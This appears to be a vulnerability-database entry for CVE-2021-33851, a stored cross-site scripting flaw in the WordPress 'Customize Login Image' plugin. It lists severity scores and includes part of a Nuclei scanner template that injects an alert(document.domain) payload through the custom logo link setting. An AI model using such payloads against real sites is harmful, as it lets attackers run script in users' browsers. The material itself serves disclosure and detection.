CVE-2021-33851
published 2022-03-10CVE-2021-33851: A cross-site scripting (XSS) attack can cause arbitrary code (JavaScript) to run in a user's browser and can use an application as the vehicle for the attack…
PriorityP429medium5.4CVSS 3.1
AVNACLPRLUIRSCCLILAN
EXPLOIT
EPSS
1.32%
67.2th percentile
A cross-site scripting (XSS) attack can cause arbitrary code (JavaScript) to run in a user's browser and can use an application as the vehicle for the attack. The XSS payload given in the "Custom logo link" executes whenever the user opens the Settings Page of the "Customize Login Image" Plugin.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apasionados | customize_login_image | — | — |
CVSS provenance
nvdv3.15.4MEDIUMCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
nvdv2.03.5LOWAV:N/AC:M/Au:S/C:N/I:P/A:N
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No detection rules found.
Nuclei
WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
nuclei·CVSS 5.4
CVE-2021-33851 [MEDIUM] WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
WordPress Customize Login Image alert(document.domain)&cli_logo_file=&cli_login_background_color=&cli_custom_css=
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_4 == 200'
- 'contains(header_4, "text/html")'
- 'contains(body_4, "Go to alert(document.domain)")'
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
internal: true
part: body
# digest: 4a0a00473045022100af7c294e3443c3015669f9bcde1be05ee5789b8f9ab844966b30314360e56bf4022069722912dd2f6394792d2b1d6722e46d6698fc97d29d4e3b35a05fc73ce62635:922c64590222798bb761d5b6d8e72950
No writeups or analysis indexed.
2022-03-10
Published